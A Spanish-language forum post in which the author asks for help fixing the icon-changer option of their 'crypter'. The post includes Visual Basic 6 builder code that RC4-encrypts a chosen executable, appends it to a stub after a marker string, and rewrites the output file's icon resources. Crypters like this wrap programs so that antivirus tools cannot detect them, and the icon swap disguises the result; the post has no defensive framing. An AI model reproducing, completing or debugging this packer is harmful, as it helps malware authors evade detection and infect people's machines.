tengo el siguiente problema estoy intentando colocar un change icon a mi cliente y pasa que cuando intento usar la opcion
que e colocado en mi crypter para poder cambiar el icono pasa lo siguiente,
1 selecciono el archivo exe que encriptare
2 tildo la opcion icon changer
3 cargo el icono que quiero que el exe final contenga
4 doy en encriptar
5 me crea el exe con el icono cambiado
pero pasa un problema
el exe final solo es el mismo stub con el icono cambiado
mas si no uso la option change icon encrypto, todo muy bien abre todo
pero sin mi objetivo, que es el exe encryptado con el icono cambiado y funcinal
espero sus amables respuestas!
EnCriptar_Click:
Private Sub EnCriptar_Click()
Dim sData As String, EOF As String, File As String, Icon As String
Open App.Path & "\Stub.exe" For Binary As #1
sData = Space(LOF(1))
Get #1, , sData
Close #1
If Check1.Value = 1 Then EOF = ReadEOFData(Archivo.Text)
'If chkChangeIcon.Value = 1 Then Icon = ChangeIcon(Archivo.Text)
Open Archivo.Text For Binary As #1
File = Space(LOF(1))
Get #1, , File
Close #1
File = RC4(File, "therefenge")
If Check1.Value = 1 Then Call WriteEOFData(CD.FileName, EOF)
'If chkChangeIcon.Value = 1 Then Call ChangeIcon(CD.FileName, Icons)
Open App.Path & "\CD.exe" For Binary As #1
Put #1, , sData & "[Theref]" & File
Close #1
If chkChangeIcon.Value = Checked Then
If txtIcon.Text <> "Select an icon..." And txtIcon.Text <> "" Then
If ChangeIcon(App.Path & "\CD.exe", txtIcon.Text) Then
Else
End If
End If
'If chkChangeIcon.Value = 1 Then
'Call ChangeIcon(App.Path & "\CD.exe", txtIcon.Text)
'Else
'End If
End If
End Sub
Modulo: Change Icon
Option Explicit
Private Const OPEN_EXISTING As Long = &H3
Private Const INVALID_HANDLE_VALUE As Long = -1
Private Const GENERIC_READ As Long = &H80000000
Private Const FILE_ATTRIBUTE_NORMAL As Long = &H80
Private Const FILE_BEGIN As Long = &H0
Private Const RT_ICON As Long = &H3
Private Const RT_GROUP_ICON As Long = &HE
Private Type ICONDIRENTRY
bWidth As Byte
bHeight As Byte
bColorCount As Byte
bReserved As Byte
wPlanes As Integer
wBitCount As Integer
dwBytesInRes As Long
dwImageOffset As Long
End Type
Private Type ICONDIR
idReserved As Integer
idType As Integer
idCount As Integer
End Type
Private Type GRPICONDIRENTRY
bWidth As Byte
bHeight As Byte
bColorCount As Byte
bReserved As Byte
wPlanes As Integer
wBitCount As Integer
dwBytesInRes As Long
nID As Integer
End Type
Private Type GRPICONDIR
idReserved As Integer
idType As Integer
idCount As Integer
idEntries() As GRPICONDIRENTRY
End Type
Private Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As Any, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Private Declare Function ReadFile Lib "kernel32" (ByVal lFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, lpOverlapped As Any) As Long
Private Declare Function SetFilePointer Lib "kernel32" (ByVal lFile As Long, ByVal lDistanceToMove As Long, lpDistanceToMoveHigh As Long, ByVal dwMoveMethod As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function BeginUpdateResource Lib "kernel32" Alias "BeginUpdateResourceA" (ByVal pFileName As String, ByVal bDeleteExistingResources As Long) As Long
Private Declare Function UpdateResource Lib "kernel32" Alias "UpdateResourceA" (ByVal lUpdate As Long, ByVal lpType As Long, ByVal lpName As Long, ByVal wLanguage As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function EndUpdateResource Lib "kernel32" Alias "EndUpdateResourceA" (ByVal lUpdate As Long, ByVal fDiscard As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public Function ChangeIcon(ByVal strExePath As String, ByVal strIcoPath As String) As Boolean
Dim lFile As Long
Dim lUpdate As Long
Dim lRet As Long
Dim i As Integer
Dim tICONDIR As ICONDIR
Dim tGRPICONDIR As GRPICONDIR
Dim tICONDIRENTRY() As ICONDIRENTRY
Dim bIconData() As Byte
Dim bGroupIconData() As Byte
lFile = CreateFile(strIcoPath, GENERIC_READ, 0, ByVal 0&, OPEN_EXISTING, 0, ByVal 0&)
If lFile = INVALID_HANDLE_VALUE Then
ChangeIcon = False
CloseHandle (lFile)
Exit Function
End If
Call ReadFile(lFile, tICONDIR, Len(tICONDIR), lRet, ByVal 0&)
ReDim tICONDIRENTRY(tICONDIR.idCount - 1)
For i = 0 To tICONDIR.idCount - 1
Call ReadFile(lFile, tICONDIRENTRY(i), Len(tICONDIRENTRY(i)), lRet, ByVal 0&)
Next i
ReDim tGRPICONDIR.idEntries(tICONDIR.idCount - 1)
tGRPICONDIR.idReserved = tICONDIR.idReserved
tGRPICONDIR.idType = tICONDIR.idType
tGRPICONDIR.idCount = tICONDIR.idCount
For i = 0 To tGRPICONDIR.idCount - 1
tGRPICONDIR.idEntries(i).bWidth = tICONDIRENTRY(i).bWidth
tGRPICONDIR.idEntries(i).bHeight = tICONDIRENTRY(i).bHeight
tGRPICONDIR.idEntries(i).bColorCount = tICONDIRENTRY(i).bColorCount
tGRPICONDIR.idEntries(i).bReserved = tICONDIRENTRY(i).bReserved
tGRPICONDIR.idEntries(i).wPlanes = tICONDIRENTRY(i).wPlanes
tGRPICONDIR.idEntries(i).wBitCount = tICONDIRENTRY(i).wBitCount
tGRPICONDIR.idEntries(i).dwBytesInRes = tICONDIRENTRY(i).dwBytesInRes
tGRPICONDIR.idEntries(i).nID = i + 1
Next i
lUpdate = BeginUpdateResource(strExePath, False)
For i = 0 To tICONDIR.idCount - 1
ReDim bIconData(tICONDIRENTRY(i).dwBytesInRes)
SetFilePointer lFile, tICONDIRENTRY(i).dwImageOffset, ByVal 0&, FILE_BEGIN
Call ReadFile(lFile, bIconData(0), tICONDIRENTRY(i).dwBytesInRes, lRet, ByVal 0&)
If UpdateResource(lUpdate, RT_ICON, tGRPICONDIR.idEntries(i).nID, 0, bIconData(0), tICONDIRENTRY(i).dwBytesInRes) = False Then
ChangeIcon = False
CloseHandle (lFile)
Exit Function
End If
Next i
ReDim bGroupIconData(6 + 14 * tGRPICONDIR.idCount)
CopyMemory ByVal VarPtr(bGroupIconData(0)), ByVal VarPtr(tICONDIR), 6
For i = 0 To tGRPICONDIR.idCount - 1
CopyMemory ByVal VarPtr(bGroupIconData(6 + 14 * i)), ByVal VarPtr(tGRPICONDIR.idEntries(i).bWidth), 14&
Next
If UpdateResource(lUpdate, RT_GROUP_ICON, 1, 0, ByVal VarPtr(bGroupIconData(0)), UBound(bGroupIconData)) = False Then
ChangeIcon = False
CloseHandle (lFile)
Exit Function
End If
If EndUpdateResource(lUpdate, False) = False Then
ChangeIcon = False
CloseHandle (lFile)
End If
Call CloseHandle(lFile)
ChangeIcon = True
End Function
Public Function ExtractIcon(ByVal strExePath As String, ByVal strIcoPath As String) As Boolean
'In Progress
End Function